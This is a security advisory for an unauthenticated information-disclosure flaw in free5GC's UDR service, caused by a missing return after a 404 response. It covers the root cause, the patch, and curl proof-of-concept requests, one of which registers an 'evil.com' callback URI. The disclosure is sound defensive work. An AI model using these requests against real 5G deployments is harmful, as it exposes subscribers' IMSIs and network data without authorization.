### Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to read Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.

### Details
The endpoint `GET /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet` in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go` checks whether `influenceId != "subs-to-notify"`.
2. If the value is different, it calls `c.String(http.StatusNotFound, "404 page not found")`, **but it does not return afterwards**.
3. Execution continues and the handler still calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(c, subscriptionId)`.
4. The processor retrieves and returns the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still obtain the full subscription object in the same HTTP response body.

The missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.

### PoC
No authentication is required. Only a valid `subscriptionId` is needed.

```bash
# Create a subscription to obtain a valid subscriptionId
curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \
-H "Content-Type: application/json" \
-d '{
"notificationUri":"http://evil.com/notify",
"dnns":["internet"],
"snssais":[{"sst":1,"sd":"000001"}],
"supis":["imsi-222777483957498"]
}'
```
Example response:
```
HTTP/1.1 201 Created
```

Then read it through an invalid path:
```bash
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16"
```
Response:
```
HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"}
```
For comparison, the valid request is:
```bash
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16"
```
Response:
```json
{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"}
```
### Impact
This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI can retrieve Traffic Influence Subscription objects by knowing or guessing a valid subscriptionId, even when using an invalid path that should have been rejected.

The returned objects may contain sensitive subscriber-related information, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback notificationUri values.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

### Patch
The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,
function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet:
```
go
if influenceId != "subs-to-notify" {
c.String(http.StatusNotFound, "404 page not found")
return
}
```
With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not disclose the targeted subscription data.

CWE-285 Improper Authorization

CWE-636